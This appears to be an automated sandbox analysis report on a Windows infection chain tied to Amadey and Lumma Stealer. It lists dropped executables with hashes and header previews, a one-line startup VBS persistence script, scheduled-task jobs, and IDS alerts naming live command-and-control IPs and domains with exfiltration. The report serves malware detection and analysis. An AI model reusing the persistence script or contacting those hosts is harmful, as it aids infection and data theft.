Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................pI...........@...........................I.....2.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... .0*..@.......\..............@...lzigcvvj.....p/......^..............@...pdsqmwos.....`I......J..............@....taggant.0...pI.."...N..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018695001\9a2c1b4302.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4495360
Entropy (8bit):	7.985575298010103
Encrypted:	false
SSDEEP:	98304:3T4HBZrgaALlZb1+DGDGLP+HvL5jxMKABP0f9jUSdGm+vwURAM:3T43HALlF1YGg6nM10f9pltM
MD5:	5A59142C418A1913FB65A008B64B0D87
SHA1:	CC5EAB334E3BCF7A24F1A245AC813765C821D3DE
SHA-256:	08F893C18FB3D1D85E9AB5B5A8FF2843C4B7D20561287A70DE23CB776C99D6A9
SHA-512:	18B7C05F8786A6004F6EF802FE90D01C1E042EF0A0C6C54418767A23B13CF033650444BDC729E62A62F769AD68FF994F7E26F51D807AA9C5D2D231045B6CA84A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@..........................0......!.D...@... ............................._pt.s....`t.....................................................P....................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... .`9...t......`(.............@...yefovael............b(.............@...eavrkykj.............rD.............@....taggant.0......."...vD.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1263648
Entropy (8bit):	7.908387267566793
Encrypted:	false
SSDEEP:	24576:ODNrEG7rYj8X1OvsL+y7xDfWsQzJwHVuNaJJjmtqSHc4aJOjHlKe/NYYOYowUb4z:OtkjSXSydbeJfNaJa18PJOJKeaYn0b4z
MD5:	6A07DFD80596F3CC2D5D5553C1CA5280
SHA1:	6FCD26E80A53D52D991E11621AAAE14D4EFD78CD
SHA-256:	71738908CD71041BB2A0CC0C0771289AC34148D97EAAADF7C4F84124D44B0D9C
SHA-512:	B22C5E42A5420EDAF1ACBB1F3231EE2A9A20B255846C30BFB4819293328C196B3EFD9C2F9664A29E75C3269CE60B3226F1556D08AF57924E4D7D349A10D45E39
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m.eg................................. ........@.. .......................@............`.................................\|...O....................... r... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......`....................$...........................................(......(%....~....:....r...p.....(&...o'...s(........~.....~...........j(....r?..p~....o)...t......q...(&....rO..p(...(...+o,...&.(....(....o-...~....%:....&~..........s....%.....(...+(.....s.........F.o0...rc..p(1.....(2...Br...psA..........{...."..}......{...."..}....f.r...p}.....(B.....}...."..(C.....{.......%......s;...on.....%......s?...op..."..(.......%......s;...oo.....%.....

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3012096
Entropy (8bit):	6.598768645471065
Encrypted:	false
SSDEEP:	49152:tjg19XLi+Kan8iuH0XVdZSsTHdrDquZtqcm0EkBUxOHx:tc197Ian8iuH0XVd0WdrGCBm0ViEx
MD5:	903052DC4EC888F7F5BCEB743304B9A2
SHA1:	9A915074586344F727528A5FC63B86B6083E291B
SHA-256:	94892AE5C3BEE71AD27491E1801B78AF3789A15CACC1817DE0A970854B841587
SHA-512:	FEC7879223493C6A05EABFDF1A0769BFACB480A53CF11D5681AD4F9F2694DF3A69C7E66928B836CCD316A32BEB60C7D56707B6C20283E26AF010C8181B779CFA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1...........@.................................W...k............................1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...zlfuenkv..........................@...scwcwxkh......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	84
Entropy (8bit):	4.636223854785768
Encrypted:	false
SSDEEP:	3:FER/n0eFHHoN+EaKC5Y0CHnn:FER/lFHIN7aZ5YJ
MD5:	F7DD45546AD43E4662DB2DE8EF33D8CB
SHA1:	9A5BC5C94C1ECC5EEA32C4760A326ABC46FD56BC
SHA-256:	823B4A0528EFC03CC921EF77CA6C4BCAEDF7F6487B035287AD55C08F5493B77B
SHA-512:	8E75DEEE68454A4F2A476F6923D670D499F4D2E91AEFB3BBD1C40C334634A64B89C6F3D97D121607D474BEFB88CAEE03DD90BD6B89BD9A27DAE5988BEE8EC48F
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\Target.exe"""

C:\Users\user\AppData\Roaming\Target.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1263648
Entropy (8bit):	7.908387267566793
Encrypted:	false
SSDEEP:	24576:ODNrEG7rYj8X1OvsL+y7xDfWsQzJwHVuNaJJjmtqSHc4aJOjHlKe/NYYOYowUb4z:OtkjSXSydbeJfNaJa18PJOJKeaYn0b4z
MD5:	6A07DFD80596F3CC2D5D5553C1CA5280
SHA1:	6FCD26E80A53D52D991E11621AAAE14D4EFD78CD
SHA-256:	71738908CD71041BB2A0CC0C0771289AC34148D97EAAADF7C4F84124D44B0D9C
SHA-512:	B22C5E42A5420EDAF1ACBB1F3231EE2A9A20B255846C30BFB4819293328C196B3EFD9C2F9664A29E75C3269CE60B3226F1556D08AF57924E4D7D349A10D45E39
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...m.eg................................. ........@.. .......................@............`.................................\|...O....................... r... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H.......`....................$...........................................(......(%....~....:....r...p.....(&...o'...s(........~.....~...........j(....r?..p~....o)...t......q...(&....rO..p(...(...+o,...&.(....(....o-...~....%:....&~..........s....%.....(...+(.....s.........F.o0...rc..p(1.....(2...Br...psA..........{...."..}......{...."..}....f.r...p}.....(B.....}...."..(C.....{.......%......s;...on.....%......s?...op..."..(.......%......s;...oo.....%.....

C:\Windows\Tasks\Gxtuum.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4265500103326616
Encrypted:	false
SSDEEP:	6:VkkXXUhXUEZ+lX1MaMlhqkbtE9+AQy0lLEt0:Vk24Q1Makza9+nVQt0
MD5:	FB75C41850523F8EA73B45B2DD21518A
SHA1:	44CE380E19240C92675B3D85BF0FA77461E8A097
SHA-256:	28D119EC8480B65F1A435A09C122AD79AAAB11C09A5DBBC32DEE6D79EBC228DC
SHA-512:	89C3C9167D0DEB015CB7E6450A4612AA3BD925864464370682FBEEEADA30CC82E61C03822368C608EE0AF0AB597C4397F5CB6E0DA63F842A0ED5CF1AEF255116
Malicious:	false
Preview:	......._...B.......F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.2.3.e.3.3.6.0.2.9.0.\.G.x.t.u.u.m...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

C:\Windows\Tasks\Test Task17.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe
File Type:	data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	3.365020177216491
Encrypted:	false
SSDEEP:	6:9tTzteeL/82abhEZSruUtE9+AQy0lDY1NXt1:9FtZhabZyN9+nVMNXH
MD5:	1526E81962EDDC4307D80F47B914FDD3
SHA1:	664231F76C4D6145848FBDDB89D246F39C58A3BB
SHA-256:	C2E594998A521485111E2C7694E5155D1FBE1A4DF1F03C64428BE315123622BB
SHA-512:	41A7723B4E6261A48DFD82F7814BB072CD3FC3BAD7A1CD234D2FB1EECA617AB0E27F3B77754844CEF085D3577D2BDD93BFAEEA0FC60AE5F253F1F6E982A971C7
Malicious:	false
Preview:	......v..H.....%F.......<... .....\.......... ......................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.w.t.k.b.\.q.c.w.e.w...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.........L.....................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.420939434541825
Encrypted:	false
SSDEEP:	6:TkwbXUhXUEZ+lX1CGdKUe6tE9+AQy0ljdt0:d4Q1CGAFD9+nVRt0
MD5:	A8150B2F0F51E334BD52BCDB01587F19
SHA1:	5086A7D804CFFACCFD303181FB6018F19D4A5C2C
SHA-256:	E5E4A372A46965BF507FFDA0D4FF6DC19F8BCBE0BC59A59E60DE2418EC3F2D7C
SHA-512:	70F21B9C4AEAF806C8A49AD0B535B168C6B933CE0B79C49E62517EA6DA046EED7CBA800EED5DE86C7785E1B651D058CE17F2542198DD80838BB6BD8C21287A9B
Malicious:	false
Preview:	.........P.M.....z.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0..................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.598768645471065
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'012'096 bytes
MD5:	903052dc4ec888f7f5bceb743304b9a2
SHA1:	9a915074586344f727528a5fc63b86b6083e291b
SHA256:	94892ae5c3bee71ad27491e1801b78af3789a15cacc1817de0a970854b841587
SHA512:	fec7879223493c6a05eabfdf1a0769bfacb480a53cf11d5681ad4f9f2694df3a69c7e66928b836ccd316a32beb60c7d56707b6c20283e26af010c8181b779cfa
SSDEEP:	49152:tjg19XLi+Kan8iuH0XVdZSsTHdrDquZtqcm0EkBUxOHx:tc197Ian8iuH0XVd0WdrGCBm0ViEx
TLSH:	25D539B2A405A3CFD08A53789527CDC66E6D4BF9471048CB985CB5BBBEB3DC026B5C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F19ED280F4Ah
paddq mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3183ec	0x10	zlfuenkv
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x31839c	0x18	zlfuenkv
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	ad410208ae79d44acbe68b99c5dcd07f	False	0.9984673024523161	data	7.9888681688918926	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	f5b455b9d7af74b1edcf13c5d09cfa61	False	0.712890625	data	5.8277277669974055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
zlfuenkv	0x6b000	0x2ae000	0x2ada00	ddd824e5e1573a33d19fabeb6b19ebfb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
scwcwxkh	0x319000	0x1000	0x600	358198e632a6bd71d5c8da4d51b0d34d	False	0.5670572916666666	data	4.971238705595854	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31a000	0x3000	0x2200	4f12d9984e8034d960e3c3fd8dffcccd	False	0.06192555147058824	DOS executable (COM)	0.7565866982252958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x3183fc	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x3187e0	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:43:06.881687+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49727	185.215.113.43	80	TCP
2024-12-20T17:43:11.254843+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49730	194.126.174.112	80	TCP
2024-12-20T17:43:15.943397+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49729	TCP
2024-12-20T17:43:17.291106+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49731	185.215.113.43	80	TCP
2024-12-20T17:43:18.738276+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49732	31.41.244.11	80	TCP
2024-12-20T17:43:25.419416+0100	2058424	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)	1	192.168.2.6	51460	1.1.1.1	53	UDP
2024-12-20T17:43:26.984814+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:26.984814+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:27.742098+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:27.742098+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49733	172.67.131.246	443	TCP
2024-12-20T17:43:27.952868+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49734	185.215.113.43	80	TCP
2024-12-20T17:43:29.023332+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:29.023332+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:29.406816+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49736	31.41.244.11	80	TCP
2024-12-20T17:43:29.843109+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:29.843109+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49735	172.67.131.246	443	TCP
2024-12-20T17:43:31.773680+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49737	172.67.131.246	443	TCP
2024-12-20T17:43:31.773680+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	172.67.131.246	443	TCP
2024-12-20T17:43:33.917200+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49738	172.67.131.246	443	TCP
2024-12-20T17:43:33.917200+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49738	172.67.131.246	443	TCP
2024-12-20T17:43:33.966492+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	56392	1.1.1.1	53	UDP
2024-12-20T17:43:34.106031+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	60776	1.1.1.1	53	UDP
2024-12-20T17:43:34.333389+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	56681	1.1.1.1	53	UDP
2024-12-20T17:43:35.874833+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:35.874833+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:36.087951+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49743	172.67.131.246	443	TCP
2024-12-20T17:43:36.087951+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49743	172.67.131.246	443	TCP
2024-12-20T17:43:36.649161+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:36.649161+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49740	172.67.197.170	443	TCP
2024-12-20T17:43:37.255650+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49741	185.215.113.43	80	TCP
2024-12-20T17:43:37.886912+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:37.886912+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:38.633600+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49746	172.67.131.246	443	TCP
2024-12-20T17:43:38.633600+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49746	172.67.131.246	443	TCP
2024-12-20T17:43:38.715197+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:38.715197+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49744	172.67.197.170	443	TCP
2024-12-20T17:43:38.826571+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49745	31.41.244.11	80	TCP
2024-12-20T17:43:39.491237+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49746	172.67.131.246	443	TCP
2024-12-20T17:43:40.741189+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49752	172.67.197.170	443	TCP
2024-12-20T17:43:40.741189+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49752	172.67.197.170	443	TCP
2024-12-20T17:43:41.281421+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.6	49758	172.67.131.246	443	TCP
2024-12-20T17:43:41.281421+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49758	172.67.131.246	443	TCP
2024-12-20T17:43:41.680268+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49752	172.67.197.170	443	TCP
2024-12-20T17:43:43.556462+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.6	49765	172.67.197.170	443	TCP
